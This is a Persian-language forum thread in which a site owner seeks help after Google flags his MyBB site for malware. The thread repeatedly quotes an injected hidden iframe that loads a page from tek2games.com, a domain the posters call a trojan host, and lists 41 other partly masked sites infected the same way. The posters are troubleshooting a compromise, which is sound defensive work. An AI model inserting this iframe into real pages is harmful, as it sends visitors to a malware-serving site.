چرا هیچ کس نمیتونه این مشکل را حل کنه؟

[میدوری]

با درود
مدتی هم برای من این اخطار را میداد و جالب اینکه در سورس هم این کد را به من نمایش میداد . یکبار سایت را از وبمستر گوگل حذف کردم و دوباره معرفی کردم این مشگل برطرف شد. توضیح اینکه این کد در به سایتی که تروجان دارد وصل میشود http://tek2games.com و تاکنون چندین سایت را آلوده هم کرده که لیست برخی از آنها رادر زیر می آورم . ولی سایت شما آلوده نیست ( راه کار من را اجرا کنید امید که درست شود )

The list of websites infected with iframes:

<iframe src="http://tek2games.com/oozf.html?i=1496681" ... >

2013-06-20 ***haclinic.com yesdaddy.in
2013-03-08 ***-protection-essuy
age.com cluster013.ovh.net
2013-03-08 ***procurement.com v085288.home.net.pl
2013-03-08 ***-y3calt5cva.com softlayer.com
2013-03-07 ***fordfuneralhome.com theplanet.com
2013-03-07 ***ansliquors.com secureserver.net
2013-03-06 ***emble-harlequin.de kundenserver.de
2013-03-05 ***iion.cl chilecom.net
2013-03-05 ***logymedia.com.au netregistry.net
2013-03-04 ***eghansrestaurant.com theplanet.com
2013-03-04 ***ematikdanis.com
2013-03-03 ***ystem.co.kr
2013-02-27 ***t-australia-hotel
s.com theplanet.com
2013-02-27 ***doec.com
2013-02-27 ***armory.com
2013-02-26 ***elle.com.au
2013-02-25 ***kthomassubaru.com
2013-02-25 ***owdown.com
2013-02-24 ***wa.si hitrost.net
2013-02-24 ***citalia.com lunarpages.com
2013-02-24 ***rsinsa.com yourhostingacco
unt.com
2013-02-24 ***tpartyhalls.com bluehost.com
2013-02-24 ***oscene-online.com
2013-02-23 ***ntumgods.com optonline.net
2013-02-23 ***bo-jim.com perfora.net
2013-02-23 ***bopinto.com perfora.net
2013-02-22 ***onogio.com kundenserver.de
2013-02-22 ***n-likoer.de wms-thum.de
2013-02-21 ***lakorndentalclini
c.com hostinglotus.net
2013-02-21 ***mpol.com cizgibilgisayar.com
2013-02-21 ***zeppellin.com theplanet.com
2013-02-21 ***shcreeps.com eigbox.net
2013-02-21 ***pyeventos.com.br locaweb.com.br
2013-02-21 ***buzz.com
2013-02-21 ***quitoesnomore.com
2013-02-21 ***uwakuland.com exoware.net
2013-02-21 ***atechno.com theplanet.com
2013-02-20 ***aicaworld.com
2013-02-20 ***bornelog.co.th nineweb.co.th
2013-02-20 ***in-cell.eu kundenserver.de
2013-02-20 ***js.com theplanet.com
Total 41 websites

اگر درست نشد باید در فایل .htaccess کدی را وارد کنید که درصورت نیاز آموزش میدهم .

[iranshahrsaz]

سلام
در اکثر فروم های تخصصی و فروم های مای بی بی موضوع باز کردم و به تقریبا اکثر متخصصین مای بی بی و دو شرکت اراده دهنده هاست بزرگ هم سپردم ولی نتوانستند کدی را که گوگل ازش ایراد میگیره پیدا کنند.
هر کس بتونه راه حلی ارائه دهد یا مشکل را حل کند 200 هزار تومان حق الزحمه داده میشود.

اینم کد:
<iframe name=Twitter scrolling=auto frameborder=no align=cen
ter height=2 width=2 src=http://tek2games.com/oozf.html?i=96
3880>

این کد را به اختیار خودتان اضافه کرده‌اید یا خود به خود اضافه می‌شود؟
-به کدام صفحه؟ و در کجا؟
-از کجا مطلع می‌شوید که گوگل به این کد حساس است؟

سلام تشکر
همین دیروز هم سایت را آلوده تشخیص داد و در جستجوها مینویسه که این وبگاه ممکن است به رایانه شما آسیب برساند بعد از درخواست در گوگل وبمستر درست میشود و باز روز از نو و روزی از نو
فقط همین کد را درج میکنه و آدرس را هم www.iranshahrsaz.com میزنه اینم صفحه ایراد
http://google.com/safebrowsing/diagnosti...ahrsaz.com

با درود
مدتی هم برای من این اخطار را میداد و جالب اینکه در سورس هم این کد را به من نمایش میداد . یکبار سایت را از وبمستر گوگل حذف کردم و دوباره معرفی کردم این مشگل برطرف شد. توضیح اینکه این کد در به سایتی که تروجان دارد وصل میشود http://tek2games.com و تاکنون چندین سایت را آلوده هم کرده که لیست برخی از آنها رادر زیر می آورم . ولی سایت شما آلوده نیست ( راه کار من را اجرا کنید امید که درست شود )

The list of websites infected with iframes:

<iframe src="http://tek2games.com/oozf.html?i=1496681" ... >

2013-06-20 ***haclinic.com yesdaddy.in
2013-03-08 ***-protection-essuy
age.com cluster013.ovh.net
2013-03-08 ***procurement.com v085288.home.net.pl
2013-03-08 ***-y3calt5cva.com softlayer.com
2013-03-07 ***fordfuneralhome.com theplanet.com
2013-03-07 ***ansliquors.com secureserver.net
2013-03-06 ***emble-harlequin.de kundenserver.de
2013-03-05 ***iion.cl chilecom.net
2013-03-05 ***logymedia.com.au netregistry.net
2013-03-04 ***eghansrestaurant.com theplanet.com
2013-03-04 ***ematikdanis.com
2013-03-03 ***ystem.co.kr
2013-02-27 ***t-australia-hotel
s.com theplanet.com
2013-02-27 ***doec.com
2013-02-27 ***armory.com
2013-02-26 ***elle.com.au
2013-02-25 ***kthomassubaru.com
2013-02-25 ***owdown.com
2013-02-24 ***wa.si hitrost.net
2013-02-24 ***citalia.com lunarpages.com
2013-02-24 ***rsinsa.com yourhostingacco
unt.com
2013-02-24 ***tpartyhalls.com bluehost.com
2013-02-24 ***oscene-online.com
2013-02-23 ***ntumgods.com optonline.net
2013-02-23 ***bo-jim.com perfora.net
2013-02-23 ***bopinto.com perfora.net
2013-02-22 ***onogio.com kundenserver.de
2013-02-22 ***n-likoer.de wms-thum.de
2013-02-21 ***lakorndentalclini
c.com hostinglotus.net
2013-02-21 ***mpol.com cizgibilgisayar.com
2013-02-21 ***zeppellin.com theplanet.com
2013-02-21 ***shcreeps.com eigbox.net
2013-02-21 ***pyeventos.com.br locaweb.com.br
2013-02-21 ***buzz.com
2013-02-21 ***quitoesnomore.com
2013-02-21 ***uwakuland.com exoware.net
2013-02-21 ***atechno.com theplanet.com
2013-02-20 ***aicaworld.com
2013-02-20 ***bornelog.co.th nineweb.co.th
2013-02-20 ***in-cell.eu kundenserver.de
2013-02-20 ***js.com theplanet.com
Total 41 websites

اگر درست نشد باید در فایل .htaccess کدی را وارد کنید که درصورت نیاز آموزش میدهم .

واقعا ممنون از وقتی که گذاشتید خیلی لطف کردید
منظورتان این هست که کلا حذف کنم
قبلا چند بار حذف و اضافه کردم ولی نشد
حال هم میترسم حذف و اضافه کنم باز سایت را آلوده تشخیص دهد هر وقت به وبمستر میروم و malware را میزنم دوباره بررسی و سایت راآلوده تشخیص میدهد
چند بار هم بعد از اینکه سایت مپ را برای اضافه کردن تعداد ارسال و ... میزدم همین مشکل بوجود می آمد
کارهایی که تاکنون نتیجه نداده
1-کلا سایت مپ را حذف کردم
2-ارتقا به آخرین نسخه
3-دانلود کلیه فایلها به جز پوشه آپلود و جستجوی این کد
4-حذف آپلود سنتر
5-حذف قالبهای قدیمی و نصب قالب جدید(این جدید هست و بعد از این هنوز مشکلی پیش نیومده..از دیروز این را اجرا کردم)
6-حذف همه اسکریپتهای فروشگاه و فرم
7-جستجو در دیتابیس
8-جستجو در مای کد
لطفا اگر کدی لازم هست در htaccess k اضافه کنم و مشکلی دیگه پیش نیاد ریغ نکنید و اگر حل شود هزینه 200 هزار ت واریز میشود.

[Mohammad-Za]

سلام
در اکثر فروم های تخصصی و فروم های مای بی بی موضوع باز کردم و به تقریبا اکثر متخصصین مای بی بی و دو شرکت اراده دهنده هاست بزرگ هم سپردم ولی نتوانستند کدی را که گوگل ازش ایراد میگیره پیدا کنند.
هر کس بتونه راه حلی ارائه دهد یا مشکل را حل کند 200 هزار تومان حق الزحمه داده میشود.

اینم کد:
<iframe name=Twitter scrolling=auto frameborder=no align=cen
ter height=2 width=2 src=http://tek2games.com/oozf.html?i=96
3880>

این کد را به اختیار خودتان اضافه کرده‌اید یا خود به خود اضافه می‌شود؟
-به کدام صفحه؟ و در کجا؟
-از کجا مطلع می‌شوید که گوگل به این کد حساس است؟

سلام سپاس
همین دیروز هم سایت را آلوده تشخیص داد و در جستجوها مینویسه که این وبگاه ممکن است به رایانه شما آسیب برساند بعد از درخواست در گوگل وبمستر درست میشود و باز روز از نو و روزی از نو
فقط همین کد را درج میکنه و آدرس را هم www.iranshahrsaz.com میزنه اینم صفحه ایراد
http://google.com/safebrowsing/diagnosti...ahrsaz.com

با درود
مدتی هم برای من این اخطار را میداد و جالب اینکه در سورس هم این کد را به من نمایش میداد . یکبار سایت را از وبمستر گوگل حذف کردم و دوباره معرفی کردم این مشگل برطرف شد. توضیح اینکه این کد در به سایتی که تروجان دارد وصل میشود http://tek2games.com و تاکنون چندین سایت را آلوده هم کرده که لیست برخی از آنها رادر زیر می آورم . ولی سایت شما آلوده نیست ( راه کار من را اجرا کنید امید که درست شود )

The list of websites infected with iframes:

<iframe src="http://tek2games.com/oozf.html?i=1496681" ... >

2013-06-20 ***haclinic.com yesdaddy.in
2013-03-08 ***-protection-essuy
age.com cluster013.ovh.net
2013-03-08 ***procurement.com v085288.home.net.pl
2013-03-08 ***-y3calt5cva.com softlayer.com
2013-03-07 ***fordfuneralhome.com theplanet.com
2013-03-07 ***ansliquors.com secureserver.net
2013-03-06 ***emble-harlequin.de kundenserver.de
2013-03-05 ***iion.cl chilecom.net
2013-03-05 ***logymedia.com.au netregistry.net
2013-03-04 ***eghansrestaurant.com theplanet.com
2013-03-04 ***ematikdanis.com
2013-03-03 ***ystem.co.kr
2013-02-27 ***t-australia-hotel
s.com theplanet.com
2013-02-27 ***doec.com
2013-02-27 ***armory.com
2013-02-26 ***elle.com.au
2013-02-25 ***kthomassubaru.com
2013-02-25 ***owdown.com
2013-02-24 ***wa.si hitrost.net
2013-02-24 ***citalia.com lunarpages.com
2013-02-24 ***rsinsa.com yourhostingacco
unt.com
2013-02-24 ***tpartyhalls.com bluehost.com
2013-02-24 ***oscene-online.com
2013-02-23 ***ntumgods.com optonline.net
2013-02-23 ***bo-jim.com perfora.net
2013-02-23 ***bopinto.com perfora.net
2013-02-22 ***onogio.com kundenserver.de
2013-02-22 ***n-likoer.de wms-thum.de
2013-02-21 ***lakorndentalclini
c.com hostinglotus.net
2013-02-21 ***mpol.com cizgibilgisayar.com
2013-02-21 ***zeppellin.com theplanet.com
2013-02-21 ***shcreeps.com eigbox.net
2013-02-21 ***pyeventos.com.br locaweb.com.br
2013-02-21 ***buzz.com
2013-02-21 ***quitoesnomore.com
2013-02-21 ***uwakuland.com exoware.net
2013-02-21 ***atechno.com theplanet.com
2013-02-20 ***aicaworld.com
2013-02-20 ***bornelog.co.th nineweb.co.th
2013-02-20 ***in-cell.eu kundenserver.de
2013-02-20 ***js.com theplanet.com
Total 41 websites

اگر درست نشد باید در فایل .htaccess کدی را وارد کنید که درصورت نیاز آموزش میدهم .

واقعا ممنون از وقتی که گذاشتید خیلی لطف کردید
منظورتان این هست که کلا حذف کنم
قبلا چند بار حذف و اضافه کردم ولی نشد
حال هم میترسم حذف و اضافه کنم باز سایت را آلوده تشخیص دهد هر وقت به وبمستر میروم و malware را میزنم دوباره بررسی و سایت راآلوده تشخیص میدهد
چند بار هم بعد از اینکه سایت مپ را برای اضافه کردن تعداد ارسال و ... میزدم همین مشکل بوجود می آمد
کارهایی که تاکنون نتیجه نداده
1-کلا سایت مپ را حذف کردم
2-ارتقا به آخرین نسخه
3-دانلود کلیه فایلها به جز پوشه آپلود و جستجوی این کد
4-حذف آپلود سنتر
5-حذف قالبهای قدیمی و نصب قالب جدید(این جدید هست و بعد از این هنوز مشکلی پیش نیومده..از دیروز این را اجرا کردم)
6-حذف همه اسکریپتهای فروشگاه و فرم
7-جستجو در دیتابیس
8-جستجو در مای کد
لطفا اگر کدی لازم هست در htaccess k اضافه کنم و مشکلی دیگه پیش نیاد ریغ نکنید و اگر حل شود هزینه 200 هزار ت واریز میشود.

احتمالاً توسط هکرهای FTP به فایل‌های شما نفوذ شده‌است و فایل‌های شما را آلوده کرده‌است.
- رمز FTP را عوض کنید.
- باید فایل‌های موجود بر روی سرور شما بررسی شود که کدام یک از آن‌ها آلوده شده‌است تا بتوان آلودگی را برطرف کرد.

[میدوری]

خوب راه کار من اگر کارا نبود پس کارتون بیخ پیدا کرده . و با دویست تومن هم درست نمیشه برای حل مشکلتون به اینجا بروید و کد مربوطه را کپی و وارد کنید . بعید میدونم درست بشه !!!! و در انتها به اینجا بروید و درخواست ویروس زدایی کنید با گارانتی و با 119 دلار ناقابل ( شاید مهندسین ایرانی هم بتونن باید بگردید) این کار فوق العاده فنی و وقت گیر است ( جنگ با تروجان ).

[iranshahrsaz]

تشکر از شما
الان باید چیکار کنم؟

[میدوری]

يک پيشنهاد : به اینجا بروید و کد داده شده را در فوترتون بگذارید تا بطور مرتب نتیجه اسکن تروجان رو داشته باشید و شاید گوگل هم با دیدن نتیجه رضایت داد و رفع گیر کرد .

يک نکته : موقع جستجو اگر کد

کد php:

<iframe name=Twitter scrolling=auto frameborder=no align=cen ter height=2 width=2 src=http://tek2games.com/oozf.html?i=96 3880> 


در جستجوی گوگل قرار بگیرد آنتی ویروس ها پرچمشان بالا میرود .

[iranshahrsaz]

چند بار اسکن شده و تروجانی وجود ندارد فقط این کد هست که مشخص نیست کجا قرار گرفته؟
در مورد این کد هم لطفا بیشتر توضیح دهید

اگر درست نشد باید در فایل .htaccess کدی را وارد کنید که درصورت نیاز آموزش میدهم .

[میدوری]

شما کد زير رو در سايتتون داريد . موقتا از آمارگیر دیگری استفاده کنید .

کد php:

<iframe src="http://service.persianstat.com/Stats.aspx?psid=10136162&psop=0&pscn=direct&pscr=-&psct=-&psep=-&psuq=0&psuu=0&psrd=905861127&pscs=UTF-8&pswh=1176x885&pssc=24&psul=en-us&psje=1&pspl=1&pstl=%D8%A7%D9%86%D8%AC%D9%85%D9%86%20%D8%AA%D8%AE%D8%B5%D8%B5%DB%8C%20%D8%A7%DB%8C%D8%B1%D8%A7%D9%86%20%D8%B4%D9%87%D8%B1%D8%B3%D8%A7%D8%B2&pshn=www.iranshahrsaz.com&pspt=%2F&psrf=-"
height="16" width="16" scrolling="no" marginwidth="0" allowtransparency="true"
frameborder="no" marginheight="0" name="PersianStat">
</iframe> 


سپس آدرس سایت خودتون رو در اینجا وارد کنید و نتیجه را ببینید .

[میدوری]

با درود
برای روشن تر شدن قضیه ی این تروجان , نتیجه اسکن سایتی در اینجا هست که آلوده به تروجانی است که گوگل به سایت شما نسبت داده است . ( نوار زرد رنگ دوم 17# را باز کنید تا کد مخرب "تروجان" نمایش داده شود ) .
هشدار کلی : هر فایلی را در سیستم خود وارد و آپلود نکنید . در اسکن ها می بینید که بیشتر فایل های جاوا دارای کدهای مخرب هم میتوانند باشند و این تنها در مورد اینگونه فایل ها نیست پس در صورت دریافت فایل هایی از راه های غیر مجاز ( ریپ شده) و یا از منابعی که بدرستی با آنها آشنایی ندارید و یا پشتیبانی هایی که هرروز از یه جایی مثل قارچ بیرون میان و چند مدت بعد بعضا از بین هم میروند , سعی کنید داخل آنها را بازبینی کنید.

[iranshahrsaz]

با درود
برای روشن تر شدن قضیه ی این تروجان , نتیجه اسکن سایتی در اینجا هست که آلوده به تروجانی است که گوگل به سایت شما نسبت داده است . ( نوار زرد رنگ دوم 17# را باز کنید تا کد مخرب "تروجان" نمایش داده شود ) .
هشدار کلی : هر فایلی را در سیستم خود وارد و آپلود نکنید . در اسکن ها می بینید که بیشتر فایل های جاوا دارای کدهای مخرب هم میتوانند باشند و این تنها در مورد اینگونه فایل ها نیست پس در صورت دریافت فایل هایی از راه های غیر مجاز ( ریپ شده) و یا از منابعی که بدرستی با آنها آشنایی ندارید و یا پشتیبانی هایی که هرروز از یه جایی مثل قارچ بیرون میان و چند مدت بعد بعضا از بین هم میروند , سعی کنید داخل آنها را بازبینی کنید.

تشکر بابت وقتی که برای حل مشکل میگذارید

---

خوب راه کار من اگر کارا نبود پس کارتون بیخ پیدا کرده . و با دویست تومن هم درست نمیشه برای حل مشکلتون به اینجا بروید و کد مربوطه را کپی و وارد کنید . بعید میدونم درست بشه !!!! و در انتها به اینجا بروید و درخواست ویروس زدایی کنید با گارانتی و با 119 دلار ناقابل ( شاید مهندسین ایرانی هم بتونن باید بگردید) این کار فوق العاده فنی و وقت گیر است ( جنگ با تروجان ).

تشکر این کدهای داده شده را در htaccess قرار دهم؟